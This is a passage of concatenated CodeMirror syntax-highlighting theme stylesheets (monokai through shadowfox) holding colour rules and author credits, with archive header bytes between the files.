.cm-s-monokai .CodeMirror-gutters { background: #272822; border-right: 0px;
}
.cm-s-monokai .CodeMirror-guttermarker { color: white; }
.cm-s-monokai .CodeMirror-guttermarker-subtle { color: #d0d0d0; }
.cm-s-monokai .CodeMirror-linenumber { color: #d0d0d0; }
.cm-s-monokai .CodeMirror-cursor { border-left: 1px solid #f8f8f0; }

.cm-s-monokai span.cm-comment { color: #75715e; }
.cm-s-monokai span.cm-atom { color: #ae81ff; }
.cm-s-monokai span.cm-number { color: #ae81ff; }

.cm-s-monokai span.cm-comment.cm-attribute { color: #97b757; }
.cm-s-monokai span.cm-comment.cm-def { color: #bc9262; }
.cm-s-monokai span.cm-comment.cm-tag { color: #bc6283; }
.cm-s-monokai span.cm-comment.cm-type { color: #5998a6; }

.cm-s-monokai span.cm-property, .cm-s-monokai span.cm-attribute { color:
#a6e22e; }
.cm-s-monokai span.cm-keyword { color: #f92672; }
.cm-s-monokai span.cm-builtin { color: #66d9ef; }
.cm-s-monokai span.cm-string { color: #e6db74; }

.cm-s-monokai span.cm-variable { color: #f8f8f2; }
.cm-s-monokai span.cm-variable-2 { color: #9effff; }
.cm-s-monokai span.cm-variable-3, .cm-s-monokai span.cm-type { color:
#66d9ef; }
.cm-s-monokai span.cm-def { color: #fd971f; }
.cm-s-monokai span.cm-bracket { color: #f8f8f2; }
.cm-s-monokai span.cm-tag { color: #f92672; }
.cm-s-monokai span.cm-header { color: #ae81ff; }
.cm-s-monokai span.cm-link { color: #ae81ff; }
.cm-s-monokai span.cm-error { background: #f92672; color: #f8f8f0; }

.cm-s-monokai .CodeMirror-activeline-background { background: #373831; }
.cm-s-monokai .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}
PKP��[�҂A	A	codemirror/theme/moxer.cssnu�[���/*
  Name:       Moxer Theme
  Author:     Mattia Astorino (http://github.com/equinusocio)
  Website:    https://github.com/moxer-theme/moxer-code
*/

.cm-s-moxer.CodeMirror {
  background-color: #090A0F;
  color: #8E95B4;
  line-height: 1.8;
}

.cm-s-moxer .CodeMirror-gutters {
  background: #090A0F;
  color: #35394B;
  border: none;
}

.cm-s-moxer .CodeMirror-guttermarker,
.cm-s-moxer .CodeMirror-guttermarker-subtle,
.cm-s-moxer .CodeMirror-linenumber {
  color: #35394B;
}


.cm-s-moxer .CodeMirror-cursor {
  border-left: 1px solid #FFCC00;
}

.cm-s-moxer div.CodeMirror-selected {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-moxer.CodeMirror-focused div.CodeMirror-selected {
  background: #212431;
}

.cm-s-moxer .CodeMirror-line::selection,
.cm-s-moxer .CodeMirror-line>span::selection,
.cm-s-moxer .CodeMirror-line>span>span::selection {
  background: #212431;
}

.cm-s-moxer .CodeMirror-line::-moz-selection,
.cm-s-moxer .CodeMirror-line>span::-moz-selection,
.cm-s-moxer .CodeMirror-line>span>span::-moz-selection {
  background: #212431;
}

.cm-s-moxer .CodeMirror-activeline-background,
.cm-s-moxer .CodeMirror-activeline-gutter .CodeMirror-linenumber {
  background: rgba(33, 36, 49, 0.5);
}

.cm-s-moxer .cm-keyword {
  color: #D46C6C;
}

.cm-s-moxer .cm-operator {
  color: #D46C6C;
}

.cm-s-moxer .cm-variable-2 {
  color: #81C5DA;
}


.cm-s-moxer .cm-variable-3,
.cm-s-moxer .cm-type {
  color: #f07178;
}

.cm-s-moxer .cm-builtin {
  color: #FFCB6B;
}

.cm-s-moxer .cm-atom {
  color: #A99BE2;
}

.cm-s-moxer .cm-number {
  color: #7CA4C0;
}

.cm-s-moxer .cm-def {
  color: #F5DFA5;
}

.cm-s-moxer .CodeMirror-line .cm-def ~ .cm-def {
  color: #81C5DA;
}

.cm-s-moxer .cm-string {
  color: #B2E4AE;
}

.cm-s-moxer .cm-string-2 {
  color: #f07178;
}

.cm-s-moxer .cm-comment {
  color: #3F445A;
}

.cm-s-moxer .cm-variable {
  color: #8E95B4;
}

.cm-s-moxer .cm-tag {
  color: #FF5370;
}

.cm-s-moxer .cm-meta {
  color: #FFCB6B;
}

.cm-s-moxer .cm-attribute {
  color: #C792EA;
}

.cm-s-moxer .cm-property {
  color: #81C5DA;
}

.cm-s-moxer .cm-qualifier {
  color: #DECB6B;
}

.cm-s-moxer .cm-variable-3,
.cm-s-moxer .cm-type {
  color: #DECB6B;
}


.cm-s-moxer .cm-error {
  color: rgba(255, 255, 255, 1.0);
  background-color: #FF5370;
}

.cm-s-moxer .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}PKP��[�7F��codemirror/theme/neat.cssnu�[���.cm-s-neat
span.cm-comment { color: #a86; }
.cm-s-neat span.cm-keyword { line-height: 1em; font-weight: bold; color:
blue; }
.cm-s-neat span.cm-string { color: #a22; }
.cm-s-neat span.cm-builtin { line-height: 1em; font-weight: bold; color:
#077; }
.cm-s-neat span.cm-special { line-height: 1em; font-weight: bold; color:
#0aa; }
.cm-s-neat span.cm-variable { color: black; }
.cm-s-neat span.cm-number, .cm-s-neat span.cm-atom { color: #3a3; }
.cm-s-neat span.cm-meta { color: #555; }
.cm-s-neat span.cm-link { color: #3a3; }

.cm-s-neat .CodeMirror-activeline-background { background: #e8f2ff; }
.cm-s-neat .CodeMirror-matchingbracket { outline:1px solid grey;
color:black !important; }
PKP��[ h*��codemirror/theme/neo.cssnu�[���/* neo
theme for codemirror */

/* Color scheme */

.cm-s-neo.CodeMirror {
  background-color:#ffffff;
  color:#2e383c;
  line-height:1.4375;
}
.cm-s-neo .cm-comment { color:#75787b; }
.cm-s-neo .cm-keyword, .cm-s-neo .cm-property { color:#1d75b3; }
.cm-s-neo .cm-atom,.cm-s-neo .cm-number { color:#75438a; }
.cm-s-neo .cm-node,.cm-s-neo .cm-tag { color:#9c3328; }
.cm-s-neo .cm-string { color:#b35e14; }
.cm-s-neo .cm-variable,.cm-s-neo .cm-qualifier { color:#047d65; }


/* Editor styling */

.cm-s-neo pre {
  padding:0;
}

.cm-s-neo .CodeMirror-gutters {
  border:none;
  border-right:10px solid transparent;
  background-color:transparent;
}

.cm-s-neo .CodeMirror-linenumber {
  padding:0;
  color:#e0e2e5;
}

.cm-s-neo .CodeMirror-guttermarker { color: #1d75b3; }
.cm-s-neo .CodeMirror-guttermarker-subtle { color: #e0e2e5; }

.cm-s-neo .CodeMirror-cursor {
  width: auto;
  border: 0;
  background: rgba(155,157,162,0.37);
  z-index: 1;
}
PKP��[�"��codemirror/theme/night.cssnu�[���/*
Loosely based on the Midnight Textmate theme */

.cm-s-night.CodeMirror { background: #0a001f; color: #f8f8f8; }
.cm-s-night div.CodeMirror-selected { background: #447; }
.cm-s-night .CodeMirror-line::selection, .cm-s-night .CodeMirror-line >
span::selection, .cm-s-night .CodeMirror-line > span >
span::selection { background: rgba(68, 68, 119, .99); }
.cm-s-night .CodeMirror-line::-moz-selection, .cm-s-night .CodeMirror-line
> span::-moz-selection, .cm-s-night .CodeMirror-line > span >
span::-moz-selection { background: rgba(68, 68, 119, .99); }
.cm-s-night .CodeMirror-gutters { background: #0a001f; border-right: 1px
solid #aaa; }
.cm-s-night .CodeMirror-guttermarker { color: white; }
.cm-s-night .CodeMirror-guttermarker-subtle { color: #bbb; }
.cm-s-night .CodeMirror-linenumber { color: #f8f8f8; }
.cm-s-night .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-night span.cm-comment { color: #8900d1; }
.cm-s-night span.cm-atom { color: #845dc4; }
.cm-s-night span.cm-number, .cm-s-night span.cm-attribute { color: #ffd500;
}
.cm-s-night span.cm-keyword { color: #599eff; }
.cm-s-night span.cm-string { color: #37f14a; }
.cm-s-night span.cm-meta { color: #7678e2; }
.cm-s-night span.cm-variable-2, .cm-s-night span.cm-tag { color: #99b2ff; }
.cm-s-night span.cm-variable-3, .cm-s-night span.cm-def, .cm-s-night
span.cm-type { color: white; }
.cm-s-night span.cm-bracket { color: #8da6ce; }
.cm-s-night span.cm-builtin, .cm-s-night span.cm-special { color: #ff9e59;
}
.cm-s-night span.cm-link { color: #845dc4; }
.cm-s-night span.cm-error { color: #9d1e15; }

.cm-s-night .CodeMirror-activeline-background { background: #1C005A; }
.cm-s-night .CodeMirror-matchingbracket { outline:1px solid grey;
color:white !important; }
PKP��[i'�((codemirror/theme/nord.cssnu�[���/*
Based on arcticicestudio's Nord theme */
/* https://github.com/arcticicestudio/nord */

.cm-s-nord.CodeMirror { background: #2e3440; color: #d8dee9; }
.cm-s-nord div.CodeMirror-selected { background: #434c5e; }
.cm-s-nord .CodeMirror-line::selection, .cm-s-nord .CodeMirror-line >
span::selection, .cm-s-nord .CodeMirror-line > span > span::selection
{ background: #3b4252; }
.cm-s-nord .CodeMirror-line::-moz-selection, .cm-s-nord .CodeMirror-line
> span::-moz-selection, .cm-s-nord .CodeMirror-line > span >
span::-moz-selection { background: #3b4252; }
.cm-s-nord .CodeMirror-gutters { background: #2e3440; border-right: 0px; }
.cm-s-nord .CodeMirror-guttermarker { color: #4c566a; }
.cm-s-nord .CodeMirror-guttermarker-subtle { color: #4c566a; }
.cm-s-nord .CodeMirror-linenumber { color: #4c566a; }
.cm-s-nord .CodeMirror-cursor { border-left: 1px solid #f8f8f0; }

.cm-s-nord span.cm-comment { color: #4c566a; }
.cm-s-nord span.cm-atom { color: #b48ead; }
.cm-s-nord span.cm-number { color: #b48ead; }

.cm-s-nord span.cm-comment.cm-attribute { color: #97b757; }
.cm-s-nord span.cm-comment.cm-def { color: #bc9262; }
.cm-s-nord span.cm-comment.cm-tag { color: #bc6283; }
.cm-s-nord span.cm-comment.cm-type { color: #5998a6; }

.cm-s-nord span.cm-property, .cm-s-nord span.cm-attribute { color: #8FBCBB;
}
.cm-s-nord span.cm-keyword { color: #81A1C1; }
.cm-s-nord span.cm-builtin { color: #81A1C1; }
.cm-s-nord span.cm-string { color: #A3BE8C; }

.cm-s-nord span.cm-variable { color: #d8dee9; }
.cm-s-nord span.cm-variable-2 { color: #d8dee9; }
.cm-s-nord span.cm-variable-3, .cm-s-nord span.cm-type { color: #d8dee9; }
.cm-s-nord span.cm-def { color: #8FBCBB; }
.cm-s-nord span.cm-bracket { color: #81A1C1; }
.cm-s-nord span.cm-tag { color: #bf616a; }
.cm-s-nord span.cm-header { color: #b48ead; }
.cm-s-nord span.cm-link { color: #b48ead; }
.cm-s-nord span.cm-error { background: #bf616a; color: #f8f8f0; }

.cm-s-nord .CodeMirror-activeline-background { background: #3b4252; }
.cm-s-nord .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}
PKP��[�Z����!codemirror/theme/oceanic-next.cssnu�[���/*

    Name:       oceanic-next
    Author:     Filype Pereira (https://github.com/fpereira1)

    Original oceanic-next color scheme by Dmitri Voronianski
(https://github.com/voronianski/oceanic-next-color-scheme)

*/

.cm-s-oceanic-next.CodeMirror { background: #304148; color: #f8f8f2; }
.cm-s-oceanic-next div.CodeMirror-selected { background: rgba(101, 115,
126, 0.33); }
.cm-s-oceanic-next .CodeMirror-line::selection, .cm-s-oceanic-next
.CodeMirror-line > span::selection, .cm-s-oceanic-next .CodeMirror-line
> span > span::selection { background: rgba(101, 115, 126, 0.33); }
.cm-s-oceanic-next .CodeMirror-line::-moz-selection, .cm-s-oceanic-next
.CodeMirror-line > span::-moz-selection, .cm-s-oceanic-next
.CodeMirror-line > span > span::-moz-selection { background:
rgba(101, 115, 126, 0.33); }
.cm-s-oceanic-next .CodeMirror-gutters { background: #304148; border-right:
10px; }
.cm-s-oceanic-next .CodeMirror-guttermarker { color: white; }
.cm-s-oceanic-next .CodeMirror-guttermarker-subtle { color: #d0d0d0; }
.cm-s-oceanic-next .CodeMirror-linenumber { color: #d0d0d0; }
.cm-s-oceanic-next .CodeMirror-cursor { border-left: 1px solid #f8f8f0; }

.cm-s-oceanic-next span.cm-comment { color: #65737E; }
.cm-s-oceanic-next span.cm-atom { color: #C594C5; }
.cm-s-oceanic-next span.cm-number { color: #F99157; }

.cm-s-oceanic-next span.cm-property { color: #99C794; }
.cm-s-oceanic-next span.cm-attribute,
.cm-s-oceanic-next span.cm-keyword { color: #C594C5; }
.cm-s-oceanic-next span.cm-builtin { color: #66d9ef; }
.cm-s-oceanic-next span.cm-string { color: #99C794; }

.cm-s-oceanic-next span.cm-variable,
.cm-s-oceanic-next span.cm-variable-2,
.cm-s-oceanic-next span.cm-variable-3 { color: #f8f8f2; }
.cm-s-oceanic-next span.cm-def { color: #6699CC; }
.cm-s-oceanic-next span.cm-bracket { color: #5FB3B3; }
.cm-s-oceanic-next span.cm-tag { color: #C594C5; }
.cm-s-oceanic-next span.cm-header { color: #C594C5; }
.cm-s-oceanic-next span.cm-link { color: #C594C5; }
.cm-s-oceanic-next span.cm-error { background: #C594C5; color: #f8f8f0; }

.cm-s-oceanic-next .CodeMirror-activeline-background { background:
rgba(101, 115, 126, 0.33); }
.cm-s-oceanic-next .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}
PKP��[b�>�!codemirror/theme/panda-syntax.cssnu�[���/*
	Name:       Panda Syntax
	Author:     Siamak Mokhtari (http://github.com/siamak/)
	CodeMirror template by Siamak Mokhtari
(https://github.com/siamak/atom-panda-syntax)
*/
.cm-s-panda-syntax {
	background: #292A2B;
	color: #E6E6E6;
	line-height: 1.5;
	font-family: 'Operator Mono', 'Source Code Pro',
Menlo, Monaco, Consolas, Courier New, monospace;
}
.cm-s-panda-syntax .CodeMirror-cursor { border-color: #ff2c6d; }
.cm-s-panda-syntax .CodeMirror-activeline-background {
	background: rgba(99, 123, 156, 0.1);
}
.cm-s-panda-syntax .CodeMirror-selected {
	background: #FFF;
}
.cm-s-panda-syntax .cm-comment {
	font-style: italic;
	color: #676B79;
}
.cm-s-panda-syntax .cm-operator {
	color: #f3f3f3;
}
.cm-s-panda-syntax .cm-string {
	color: #19F9D8;
}
.cm-s-panda-syntax .cm-string-2 {
    color: #FFB86C;
}

.cm-s-panda-syntax .cm-tag {
	color: #ff2c6d;
}
.cm-s-panda-syntax .cm-meta {
	color: #b084eb;
}

.cm-s-panda-syntax .cm-number {
	color: #FFB86C;
}
.cm-s-panda-syntax .cm-atom {
	color: #ff2c6d;
}
.cm-s-panda-syntax .cm-keyword {
	color: #FF75B5;
}
.cm-s-panda-syntax .cm-variable {
	color: #ffb86c;
}
.cm-s-panda-syntax .cm-variable-2 {
	color: #ff9ac1;
}
.cm-s-panda-syntax .cm-variable-3, .cm-s-panda-syntax .cm-type {
	color: #ff9ac1;
}

.cm-s-panda-syntax .cm-def {
	color: #e6e6e6;
}
.cm-s-panda-syntax .cm-property {
	color: #f3f3f3;
}
.cm-s-panda-syntax .cm-unit {
    color: #ffb86c;
}

.cm-s-panda-syntax .cm-attribute {
    color: #ffb86c;
}

.cm-s-panda-syntax .CodeMirror-matchingbracket {
    border-bottom: 1px dotted #19F9D8;
    padding-bottom: 2px;
    color: #e6e6e6;
}
.cm-s-panda-syntax .CodeMirror-gutters {
    background: #292a2b;
    border-right-color: rgba(255, 255, 255, 0.1);
}
.cm-s-panda-syntax .CodeMirror-linenumber {
    color: #e6e6e6;
    opacity: 0.6;
}
PKP��[}�6�!codemirror/theme/paraiso-dark.cssnu�[���/*

    Name:       Paraíso (Dark)
    Author:     Jan T. Sott

    Color scheme by Jan T. Sott
(https://github.com/idleberg/Paraiso-CodeMirror)
    Inspired by the art of Rubens LP (http://www.rubenslp.com.br)

*/

.cm-s-paraiso-dark.CodeMirror { background: #2f1e2e; color: #b9b6b0; }
.cm-s-paraiso-dark div.CodeMirror-selected { background: #41323f; }
.cm-s-paraiso-dark .CodeMirror-line::selection, .cm-s-paraiso-dark
.CodeMirror-line > span::selection, .cm-s-paraiso-dark .CodeMirror-line
> span > span::selection { background: rgba(65, 50, 63, .99); }
.cm-s-paraiso-dark .CodeMirror-line::-moz-selection, .cm-s-paraiso-dark
.CodeMirror-line > span::-moz-selection, .cm-s-paraiso-dark
.CodeMirror-line > span > span::-moz-selection { background: rgba(65,
50, 63, .99); }
.cm-s-paraiso-dark .CodeMirror-gutters { background: #2f1e2e; border-right:
0px; }
.cm-s-paraiso-dark .CodeMirror-guttermarker { color: #ef6155; }
.cm-s-paraiso-dark .CodeMirror-guttermarker-subtle { color: #776e71; }
.cm-s-paraiso-dark .CodeMirror-linenumber { color: #776e71; }
.cm-s-paraiso-dark .CodeMirror-cursor { border-left: 1px solid #8d8687; }

.cm-s-paraiso-dark span.cm-comment { color: #e96ba8; }
.cm-s-paraiso-dark span.cm-atom { color: #815ba4; }
.cm-s-paraiso-dark span.cm-number { color: #815ba4; }

.cm-s-paraiso-dark span.cm-property, .cm-s-paraiso-dark span.cm-attribute {
color: #48b685; }
.cm-s-paraiso-dark span.cm-keyword { color: #ef6155; }
.cm-s-paraiso-dark span.cm-string { color: #fec418; }

.cm-s-paraiso-dark span.cm-variable { color: #48b685; }
.cm-s-paraiso-dark span.cm-variable-2 { color: #06b6ef; }
.cm-s-paraiso-dark span.cm-def { color: #f99b15; }
.cm-s-paraiso-dark span.cm-bracket { color: #b9b6b0; }
.cm-s-paraiso-dark span.cm-tag { color: #ef6155; }
.cm-s-paraiso-dark span.cm-link { color: #815ba4; }
.cm-s-paraiso-dark span.cm-error { background: #ef6155; color: #8d8687; }

.cm-s-paraiso-dark .CodeMirror-activeline-background { background: #4D344A;
}
.cm-s-paraiso-dark .CodeMirror-matchingbracket { text-decoration:
underline; color: white !important; }
PKP��[�'�"codemirror/theme/paraiso-light.cssnu�[���/*

    Name:       Paraíso (Light)
    Author:     Jan T. Sott

    Color scheme by Jan T. Sott
(https://github.com/idleberg/Paraiso-CodeMirror)
    Inspired by the art of Rubens LP (http://www.rubenslp.com.br)

*/

.cm-s-paraiso-light.CodeMirror { background: #e7e9db; color: #41323f; }
.cm-s-paraiso-light div.CodeMirror-selected { background: #b9b6b0; }
.cm-s-paraiso-light .CodeMirror-line::selection, .cm-s-paraiso-light
.CodeMirror-line > span::selection, .cm-s-paraiso-light .CodeMirror-line
> span > span::selection { background: #b9b6b0; }
.cm-s-paraiso-light .CodeMirror-line::-moz-selection, .cm-s-paraiso-light
.CodeMirror-line > span::-moz-selection, .cm-s-paraiso-light
.CodeMirror-line > span > span::-moz-selection { background: #b9b6b0;
}
.cm-s-paraiso-light .CodeMirror-gutters { background: #e7e9db;
border-right: 0px; }
.cm-s-paraiso-light .CodeMirror-guttermarker { color: black; }
.cm-s-paraiso-light .CodeMirror-guttermarker-subtle { color: #8d8687; }
.cm-s-paraiso-light .CodeMirror-linenumber { color: #8d8687; }
.cm-s-paraiso-light .CodeMirror-cursor { border-left: 1px solid #776e71; }

.cm-s-paraiso-light span.cm-comment { color: #e96ba8; }
.cm-s-paraiso-light span.cm-atom { color: #815ba4; }
.cm-s-paraiso-light span.cm-number { color: #815ba4; }

.cm-s-paraiso-light span.cm-property, .cm-s-paraiso-light span.cm-attribute
{ color: #48b685; }
.cm-s-paraiso-light span.cm-keyword { color: #ef6155; }
.cm-s-paraiso-light span.cm-string { color: #fec418; }

.cm-s-paraiso-light span.cm-variable { color: #48b685; }
.cm-s-paraiso-light span.cm-variable-2 { color: #06b6ef; }
.cm-s-paraiso-light span.cm-def { color: #f99b15; }
.cm-s-paraiso-light span.cm-bracket { color: #41323f; }
.cm-s-paraiso-light span.cm-tag { color: #ef6155; }
.cm-s-paraiso-light span.cm-link { color: #815ba4; }
.cm-s-paraiso-light span.cm-error { background: #ef6155; color: #776e71; }

.cm-s-paraiso-light .CodeMirror-activeline-background { background:
#CFD1C4; }
.cm-s-paraiso-light .CodeMirror-matchingbracket { text-decoration:
underline; color: white !important; }
PKP��[����	�	#codemirror/theme/pastel-on-dark.cssnu�[���/**
 * Pastel On Dark theme ported from ACE editor
 * @license MIT
 * @copyright AtomicPages LLC 2014
 * @author Dennis Thompson, AtomicPages LLC
 * @version 1.1
 * @source https://github.com/atomicpages/codemirror-pastel-on-dark-theme
 */

.cm-s-pastel-on-dark.CodeMirror {
	background: #2c2827;
	color: #8F938F;
	line-height: 1.5;
}
.cm-s-pastel-on-dark div.CodeMirror-selected { background:
rgba(221,240,255,0.2); }
.cm-s-pastel-on-dark .CodeMirror-line::selection, .cm-s-pastel-on-dark
.CodeMirror-line > span::selection, .cm-s-pastel-on-dark
.CodeMirror-line > span > span::selection { background:
rgba(221,240,255,0.2); }
.cm-s-pastel-on-dark .CodeMirror-line::-moz-selection, .cm-s-pastel-on-dark
.CodeMirror-line > span::-moz-selection, .cm-s-pastel-on-dark
.CodeMirror-line > span > span::-moz-selection { background:
rgba(221,240,255,0.2); }

.cm-s-pastel-on-dark .CodeMirror-gutters {
	background: #34302f;
	border-right: 0px;
	padding: 0 3px;
}
.cm-s-pastel-on-dark .CodeMirror-guttermarker { color: white; }
.cm-s-pastel-on-dark .CodeMirror-guttermarker-subtle { color: #8F938F; }
.cm-s-pastel-on-dark .CodeMirror-linenumber { color: #8F938F; }
.cm-s-pastel-on-dark .CodeMirror-cursor { border-left: 1px solid #A7A7A7; }
.cm-s-pastel-on-dark span.cm-comment { color: #A6C6FF; }
.cm-s-pastel-on-dark span.cm-atom { color: #DE8E30; }
.cm-s-pastel-on-dark span.cm-number { color: #CCCCCC; }
.cm-s-pastel-on-dark span.cm-property { color: #8F938F; }
.cm-s-pastel-on-dark span.cm-attribute { color: #a6e22e; }
.cm-s-pastel-on-dark span.cm-keyword { color: #AEB2F8; }
.cm-s-pastel-on-dark span.cm-string { color: #66A968; }
.cm-s-pastel-on-dark span.cm-variable { color: #AEB2F8; }
.cm-s-pastel-on-dark span.cm-variable-2 { color: #BEBF55; }
.cm-s-pastel-on-dark span.cm-variable-3, .cm-s-pastel-on-dark span.cm-type
{ color: #DE8E30; }
.cm-s-pastel-on-dark span.cm-def { color: #757aD8; }
.cm-s-pastel-on-dark span.cm-bracket { color: #f8f8f2; }
.cm-s-pastel-on-dark span.cm-tag { color: #C1C144; }
.cm-s-pastel-on-dark span.cm-link { color: #ae81ff; }
.cm-s-pastel-on-dark span.cm-qualifier,.cm-s-pastel-on-dark span.cm-builtin
{ color: #C1C144; }
.cm-s-pastel-on-dark span.cm-error {
	background: #757aD8;
	color: #f8f8f0;
}
.cm-s-pastel-on-dark .CodeMirror-activeline-background { background:
rgba(255, 255, 255, 0.031); }
.cm-s-pastel-on-dark .CodeMirror-matchingbracket {
	border: 1px solid rgba(255,255,255,0.25);
	color: #8F938F !important;
	margin: -1px -1px 0 -1px;
}
PKP��[JY���codemirror/theme/railscasts.cssnu�[���/*

    Name:       Railscasts
    Author:     Ryan Bates (http://railscasts.com)

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-railscasts.CodeMirror {background: #2b2b2b; color: #f4f1ed;}
.cm-s-railscasts div.CodeMirror-selected {background: #272935 !important;}
.cm-s-railscasts .CodeMirror-gutters {background: #2b2b2b; border-right:
0px;}
.cm-s-railscasts .CodeMirror-linenumber {color: #5a647e;}
.cm-s-railscasts .CodeMirror-cursor {border-left: 1px solid #d4cfc9
!important;}

.cm-s-railscasts span.cm-comment {color: #bc9458;}
.cm-s-railscasts span.cm-atom {color: #b6b3eb;}
.cm-s-railscasts span.cm-number {color: #b6b3eb;}

.cm-s-railscasts span.cm-property, .cm-s-railscasts span.cm-attribute
{color: #a5c261;}
.cm-s-railscasts span.cm-keyword {color: #da4939;}
.cm-s-railscasts span.cm-string {color: #ffc66d;}

.cm-s-railscasts span.cm-variable {color: #a5c261;}
.cm-s-railscasts span.cm-variable-2 {color: #6d9cbe;}
.cm-s-railscasts span.cm-def {color: #cc7833;}
.cm-s-railscasts span.cm-error {background: #da4939; color: #d4cfc9;}
.cm-s-railscasts span.cm-bracket {color: #f4f1ed;}
.cm-s-railscasts span.cm-tag {color: #da4939;}
.cm-s-railscasts span.cm-link {color: #b6b3eb;}

.cm-s-railscasts .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important;}
.cm-s-railscasts .CodeMirror-activeline-background { background: #303040; }
PKP��[:�@�		codemirror/theme/rubyblue.cssnu�[���.cm-s-rubyblue.CodeMirror
{ background: #112435; color: white; }
.cm-s-rubyblue div.CodeMirror-selected { background: #38566F; }
.cm-s-rubyblue .CodeMirror-line::selection, .cm-s-rubyblue .CodeMirror-line
> span::selection, .cm-s-rubyblue .CodeMirror-line > span >
span::selection { background: rgba(56, 86, 111, 0.99); }
.cm-s-rubyblue .CodeMirror-line::-moz-selection, .cm-s-rubyblue
.CodeMirror-line > span::-moz-selection, .cm-s-rubyblue .CodeMirror-line
> span > span::-moz-selection { background: rgba(56, 86, 111, 0.99);
}
.cm-s-rubyblue .CodeMirror-gutters { background: #1F4661; border-right: 7px
solid #3E7087; }
.cm-s-rubyblue .CodeMirror-guttermarker { color: white; }
.cm-s-rubyblue .CodeMirror-guttermarker-subtle { color: #3E7087; }
.cm-s-rubyblue .CodeMirror-linenumber { color: white; }
.cm-s-rubyblue .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-rubyblue span.cm-comment { color: #999; font-style:italic;
line-height: 1em; }
.cm-s-rubyblue span.cm-atom { color: #F4C20B; }
.cm-s-rubyblue span.cm-number, .cm-s-rubyblue span.cm-attribute { color:
#82C6E0; }
.cm-s-rubyblue span.cm-keyword { color: #F0F; }
.cm-s-rubyblue span.cm-string { color: #F08047; }
.cm-s-rubyblue span.cm-meta { color: #F0F; }
.cm-s-rubyblue span.cm-variable-2, .cm-s-rubyblue span.cm-tag { color:
#7BD827; }
.cm-s-rubyblue span.cm-variable-3, .cm-s-rubyblue span.cm-def,
.cm-s-rubyblue span.cm-type { color: white; }
.cm-s-rubyblue span.cm-bracket { color: #F0F; }
.cm-s-rubyblue span.cm-link { color: #F4C20B; }
.cm-s-rubyblue span.CodeMirror-matchingbracket { color:#F0F !important; }
.cm-s-rubyblue span.cm-builtin, .cm-s-rubyblue span.cm-special { color:
#FF9D00; }
.cm-s-rubyblue span.cm-error { color: #AF2018; }

.cm-s-rubyblue .CodeMirror-activeline-background { background: #173047; }
PKP��[�����codemirror/theme/seti.cssnu�[���/*

    Name:       seti
    Author:     Michael Kaminsky (http://github.com/mkaminsky11)

    Original seti color scheme by Jesse Weed
(https://github.com/jesseweed/seti-syntax)

*/


.cm-s-seti.CodeMirror {
  background-color: #151718 !important;
  color: #CFD2D1 !important;
  border: none;
}
.cm-s-seti .CodeMirror-gutters {
  color: #404b53;
  background-color: #0E1112;
  border: none;
}
.cm-s-seti .CodeMirror-cursor { border-left: solid thin #f8f8f0; }
.cm-s-seti .CodeMirror-linenumber { color: #6D8A88; }
.cm-s-seti.CodeMirror-focused div.CodeMirror-selected { background:
rgba(255, 255, 255, 0.10); }
.cm-s-seti .CodeMirror-line::selection, .cm-s-seti .CodeMirror-line >
span::selection, .cm-s-seti .CodeMirror-line > span > span::selection
{ background: rgba(255, 255, 255, 0.10); }
.cm-s-seti .CodeMirror-line::-moz-selection, .cm-s-seti .CodeMirror-line
> span::-moz-selection, .cm-s-seti .CodeMirror-line > span >
span::-moz-selection { background: rgba(255, 255, 255, 0.10); }
.cm-s-seti span.cm-comment { color: #41535b; }
.cm-s-seti span.cm-string, .cm-s-seti span.cm-string-2 { color: #55b5db; }
.cm-s-seti span.cm-number { color: #cd3f45; }
.cm-s-seti span.cm-variable { color: #55b5db; }
.cm-s-seti span.cm-variable-2 { color: #a074c4; }
.cm-s-seti span.cm-def { color: #55b5db; }
.cm-s-seti span.cm-keyword { color: #ff79c6; }
.cm-s-seti span.cm-operator { color: #9fca56; }
.cm-s-seti span.cm-keyword { color: #e6cd69; }
.cm-s-seti span.cm-atom { color: #cd3f45; }
.cm-s-seti span.cm-meta { color: #55b5db; }
.cm-s-seti span.cm-tag { color: #55b5db; }
.cm-s-seti span.cm-attribute { color: #9fca56; }
.cm-s-seti span.cm-qualifier { color: #9fca56; }
.cm-s-seti span.cm-property { color: #a074c4; }
.cm-s-seti span.cm-variable-3, .cm-s-seti span.cm-type { color: #9fca56; }
.cm-s-seti span.cm-builtin { color: #9fca56; }
.cm-s-seti .CodeMirror-activeline-background { background: #101213; }
.cm-s-seti .CodeMirror-matchingbracket { text-decoration: underline; color:
white !important; }
PKP��[tTֈ	�	codemirror/theme/shadowfox.cssnu�[���/*

    Name:       shadowfox
    Author:     overdodactyl (http://github.com/overdodactyl)

    Original shadowfox color scheme by Firefox

*/

.cm-s-shadowfox.CodeMirror { background: #2a2a2e; color: #b1b1b3; }
.cm-s-shadowfox div.CodeMirror-selected { background: #353B48; }
.cm-s-shadowfox .CodeMirror-line::selection, .cm-s-shadowfox
.CodeMirror-line > span::selection, .cm-s-shadowfox .CodeMirror-line
> span > span::selection { background: #353B48; }
.cm-s-shadowfox .CodeMirror-line::-moz-selection, .cm-s-shadowfox
.CodeMirror-line > span::-moz-selection, .cm-s-shadowfox
.CodeMirror-line > span > span::-moz-selection { background: #353B48;
}
.cm-s-shadowfox .CodeMirror-gutters { background: #0c0c0d ; border-right:
1px solid #0c0c0d; }
.cm-s-shadowfox .CodeMirror-guttermarker { color: #555; }
.cm-s-shadowfox .CodeMirror-linenumber { color: #939393; }
.cm-s-shadowfox .CodeMirror-cursor { border-left: 1px solid #fff; }

.cm-s-shadowfox span.cm-comment { color: #939393; }
.cm-s-shadowfox span.cm-atom { color: #FF7DE9; }
.cm-s-shadowfox span.cm-quote { color: #FF7DE9; }
.cm-s-shadowfox span.cm-builtin { color: #FF7DE9; }
.cm-s-shadowfox span.cm-attribute { color: #FF7DE9; }
.cm-s-shadowfox span.cm-keyword { color: #FF7DE9; }
.cm-s-shadowfox span.cm-error { color: #FF7DE9; }

.cm-s-shadowfox span.cm-number { color: #6B89FF; }
